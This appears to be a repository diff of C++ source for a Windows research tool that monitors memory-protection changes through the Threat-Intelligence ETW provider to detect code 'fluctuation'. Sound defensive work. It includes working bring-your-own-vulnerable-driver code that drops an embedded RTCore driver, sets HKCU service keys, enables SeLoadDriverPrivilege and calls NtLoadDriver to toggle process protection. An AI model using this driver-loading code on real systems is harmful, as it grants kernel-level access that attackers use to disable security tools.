WCHAR* dropDriver() {
//get driver
LPVOID RTCoreDriver;
DWORD driverSize;
if (GetResourcePointer(gInstance, MAKEINTRESOURCE(IDR_RT_RCDATA1), RT_RCDATA, &RTCoreDriver, &driverSize) == FALSE) {
wprintf(L"GetResourcePointer failed\n");
return FALSE;
}
auto tempPath = GetUserLocalTempPath();
if (fileExists(tempPath)) {
return tempPath;
}
HANDLE hFile = CreateFile(tempPath, // name of the write
GENERIC_WRITE, // open for writing
0, // do not share
NULL, // default security
CREATE_NEW, // create new file only
FILE_ATTRIBUTE_NORMAL, // normal file
NULL); // no attr. template
if (hFile == INVALID_HANDLE_VALUE)
{
wprintf(L"Unable to open file \"%s\" for write. Error=%d\n", tempPath, GetLastError());
return NULL;
}
BOOL bErrorFlag = FALSE;
DWORD dwBytesWritten = 0;
bErrorFlag = WriteFile(
hFile, // open file handle
RTCoreDriver, // start of data to write
driverSize, // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL); // no overlapped structure
if (FALSE == bErrorFlag)
{
wprintf(L"Terminal failure: Unable to write to file.\n");
}
else
{
if (dwBytesWritten != driverSize)
{
// This is an error because a synchronous write that results in
// success (WriteFile returns TRUE) should write all data as
// requested. This would not necessarily be the case for
// asynchronous writes.
wprintf(L"Error: dwBytesWritten != dwBytesToWrite\n");
}
else
{
; // wprintf(L"Wrote %d bytes to %s successfully.\n", dwBytesWritten, tempPath);
}
}
CloseHandle(hFile);
return tempPath;
}
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

+45
View File
@@ -0,0 +1,45 @@
#include "stdafx.h"
const char* ProtectionString(DWORD Protection) {
switch (Protection) {
case PAGE_NOACCESS:
return "---";
case PAGE_READONLY:
return "R--";
case PAGE_READWRITE:
return "RW-";
case PAGE_WRITECOPY:
return "RC-";
case PAGE_EXECUTE:
return "--X";
case PAGE_EXECUTE_READ:
return "R-X";
case PAGE_EXECUTE_READWRITE:
return "RWX";
case PAGE_EXECUTE_WRITECOPY:
return "RCX";
}
return "???";
}
std::wstring ProcessName(DWORD processId) {
std::wstring buffer;
buffer.resize(32768);
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId);
if (hProcess) {
DWORD dwSize = (DWORD)buffer.size();
if (QueryFullProcessImageNameW(hProcess, 0, &buffer[0], &dwSize))
{
buffer = std::filesystem::path(buffer).filename();
}
CloseHandle(hProcess);
}
if (buffer.empty()) {
wsprintf(&buffer[0], L"pid:%d", processId);
}
return buffer;
}
+289
View File
@@ -0,0 +1,289 @@
#include "stdafx.h"
#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
#define IMAGE_PATH _T("\\??\\")
ULONG
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
{
UNICODE_STRING DriverServiceName;
NTSTATUS status;
typedef NTSTATUS(_stdcall* NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
wchar_t registryPath[MAX_PATH];
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
wprintf(L"[+] Loading Driver: %s\n", registryPath);
RtlInitUnicodeString(&DriverServiceName, registryPath);
status = NtLoadDriver(&DriverServiceName);
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
if (!NT_SUCCESS(status))
//return RtlNtStatusToDosError(status);
return -1;
return 0;
}
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
wprintf(L"[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
ULONG
CreateRegistryKey(
const LPWSTR RegistryPath,
const LPWSTR DriverPath
)
{
ULONG dwErrorCode;
HKEY hKey;
DWORD dwDisposition;
DWORD dwServiceType = 1;
DWORD dwServiceErrorControl = 1;
DWORD dwServiceStart = 3;
SIZE_T ServiceImagePathSize;
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
registryPath,
0,
NULL,
0,
KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition);
if (dwDisposition != REG_CREATED_NEW_KEY) {
RegCloseKey(hKey);
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
return dwErrorCode;
}
ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
dwErrorCode = RegSetValueExW(hKey,
L"ImagePath",
0,
REG_EXPAND_SZ,
(const BYTE*)serviceImagePath,
(DWORD)ServiceImagePathSize);
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"Type",
0,
REG_DWORD,
(const BYTE*)&dwServiceType,
sizeof(DWORD));
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"ErrorControl",
0,
REG_DWORD,
(const BYTE*)&dwServiceErrorControl,
sizeof(DWORD));
if (dwErrorCode) {
RegCloseKey(hKey);
return dwErrorCode;
}
dwErrorCode = RegSetValueExW(hKey,
L"Start",
0,
REG_DWORD,
(const BYTE*)&dwServiceStart,
sizeof(DWORD));
RegCloseKey(hKey);
return 0;
}
LPWSTR getUserSid(HANDLE hToken)
{
// Get the size of the memory buffer needed for the SID
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
DWORD dwBufferSize = 0;
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
(GetLastError() != ERROR_INSUFFICIENT_BUFFER))
{
wprintf(L"GetTokenInformation failed, error: %d\n",
GetLastError());
return NULL;
}
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
dwBufferSize);
if (pUserToken == NULL) {
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
return NULL;
}
// Retrive token info
if (!GetTokenInformation(
hToken,
TokenUser,
pUserToken,
dwBufferSize,
&dwBufferSize))
{
GetLastError();
return NULL;
}
// Check if SID is valid
if (!IsValidSid(pUserToken->User.Sid))
{
wprintf(L"The owner SID is invalid.\n");
return NULL;
}
LPWSTR sidString;
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
return sidString;
}
int fullsend(LPWSTR RegistryPath, LPWSTR DriverImagePath)
{
//LPWSTR* szArglist;
//int nArgs;
//LPWSTR RegistryPath, DriverImagePath;
ULONG dwErrorCode;
int ret = 0;
//szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
//if (NULL == szArglist)
//{
// printUsage();
// return 0;
//}
//if (nArgs != 3) {
// printUsage();
// LocalFree(szArglist);
// return 0;
//}
//RegistryPath = szArglist[1];
//DriverImagePath = szArglist[2];
// Get Current Process Token
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
wprintf(L"[+] OpenProcessToken Failed\n");
goto cleanup;
}
LPWSTR userSidStr;
userSidStr = getUserSid(hToken);
if (userSidStr == NULL)
{
wprintf(L"[+] Error while getting user SID\n");
goto cleanup;
}
dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
if (dwErrorCode != 0) {
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
goto cleanup;
}
// Enable Privileges
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
else
{
wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
goto cleanup;
}
ret = LoadDriver(userSidStr, RegistryPath);
cleanup:
CloseHandle(hToken);
hToken = NULL;
//LocalFree(szArglist);
return(ret);
}
+82
View File
@@ -0,0 +1,82 @@
#include "stdafx.h"
// The set of all of the code pages in a process that have transitions from writable to non-writable,
// or from executable to non-executable. In both cases, these code pages should never be modified again.
// Proper JIT: Allocate(RW) -> memcpy(code) -> Protect(RX) -> execute [-> Free]
// YOLO JIT: Allocate(RWX) -> memcpy(code) -> execute
// Bad JIT: Allocate(RW) -> memcpy(code) -> Protect(RX) -> execute -> Protect(RW) -> re-use for new code
// Fluctuation: ... -> Protect(RX) -> execute -> Protect(~X) [-> encrypt] -> Protect(RX) -> ...
std::unordered_map <DWORD, std::set<PVOID>> g_ImmutableCodePages;
krabs::user_trace g_trace(L"EtwTi-FluctuationMonitor");
DWORD WINAPI EtwEventThread(LPVOID) {
g_trace.start();
return 0;
}
int wmain(int, wchar_t**) {
printf("[*] Enabling Microsoft-Windows-Threat-Intelligence (KEYWORD_PROTECTVM_LOCAL)\n");
krabs::provider<> ti_provider(L"Microsoft-Windows-Threat-Intelligence");
ti_provider.any(0x10); // KERNEL_THREATINT_KEYWORD_PROTECTVM_LOCAL
krabs::event_filter protectvm_filter(krabs::predicates::id_is(7));
auto protectvm_cb = [](const EVENT_RECORD& record, const krabs::trace_context& trace_context) {
krabs::schema schema(record, trace_context.schema_locator);
krabs::parser parser(schema);
auto ProcessID = parser.parse<DWORD>(L"CallingProcessId");
auto BaseAddress = parser.parse<PVOID>(L"BaseAddress");
auto ProtectionMask = parser.parse<DWORD>(L"ProtectionMask");
auto LastProtectionMask = parser.parse<DWORD>(L"LastProtectionMask");
if ((!IsExecutable(LastProtectionMask) && IsExecutable(ProtectionMask)) ||
(IsWritable(LastProtectionMask) && !IsWritable(ProtectionMask)))
{
// non-executable -> executable, or
// writeable -> non-writable.
// These code pages should now be immutable.
printf("[.] %S %p %s => %s\n", ProcessName(ProcessID).c_str(), BaseAddress,
ProtectionString(LastProtectionMask), ProtectionString(ProtectionMask));
auto immutable_iter = g_ImmutableCodePages.find(ProcessID);
if (immutable_iter != g_ImmutableCodePages.cend() &&
immutable_iter->second.find(BaseAddress) != immutable_iter->second.cend())
{
// An immutable code page has been potentially modfied.
CONSOLE_SCREEN_BUFFER_INFO console_info{};
static auto hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
GetConsoleScreenBufferInfo(hStdOutput, &console_info);
SetConsoleTextAttribute(hStdOutput, RED);
printf("[!] %S %p is fluctuating\n", ProcessName(ProcessID).c_str(), BaseAddress);
SetConsoleTextAttribute(hStdOutput, console_info.wAttributes);
}
else
{
g_ImmutableCodePages[ProcessID].insert(BaseAddress);
}
}
};
protectvm_filter.add_on_event_callback(protectvm_cb);
ti_provider.add_filter(protectvm_filter);
g_trace.enable(ti_provider);
auto duration = 300;
printf("[*] Monitoring VirtualProtect() for %d seconds\n", duration);
InstallVulnerableDriver(); // Use BYOVD to enable PPL
EnablePPL();
HANDLE hThread = CreateThread(NULL, 0, EtwEventThread, NULL, 0, NULL);
assert(NULL != hThread);
Sleep(1000); // Wait a moment for ETW to initialise before removing PPL
DisablePPL();
Sleep(duration * 1000);
g_trace.stop();
(void)WaitForSingleObject(hThread, INFINITE);
printf("[*] Done\n\n");
return 0;
}
+4
View File
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="Microsoft.O365.Security.Krabsetw" version="4.3.1" targetFramework="native" />
</packages>
+1
View File
@@ -0,0 +1 @@
#define IDR_RT_RCDATA1 101
+43
View File
@@ -0,0 +1,43 @@
#pragma once
#include <winsock2.h>
#include <Windows.h>
#define _WS2DEF_
#include <aclapi.h>
#include <processthreadsapi.h>
#include <Psapi.h>
#include <sddl.h>
#include <shellapi.h>
#include <Shlobj.h>
#include <Shlobj_core.h>
#include <strsafe.h>
#include <tchar.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <stdio.h>
#include <cstdio>
#include <filesystem>
#include <iostream>
#include <string_view>
#include "krabs.hpp"
#include "resource.h"
constexpr auto RED = 12;
constexpr auto PAGE_EXECUTE_ANY = PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY;
constexpr auto IsExecutable = [](DWORD Protection) { return 0 != (Protection & PAGE_EXECUTE_ANY); };
constexpr auto PAGE_WRITE_ANY = PAGE_READWRITE | PAGE_WRITECOPY | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY;
constexpr auto IsWritable = [](DWORD Protection) { return 0 != (Protection & PAGE_WRITE_ANY); };
// helpers.cpp
const char* ProtectionString(DWORD Protection);
std::wstring ProcessName(DWORD processId);
// enableppl.cpp
VOID InstallVulnerableDriver();
VOID EnablePPL();
VOID DisablePPL();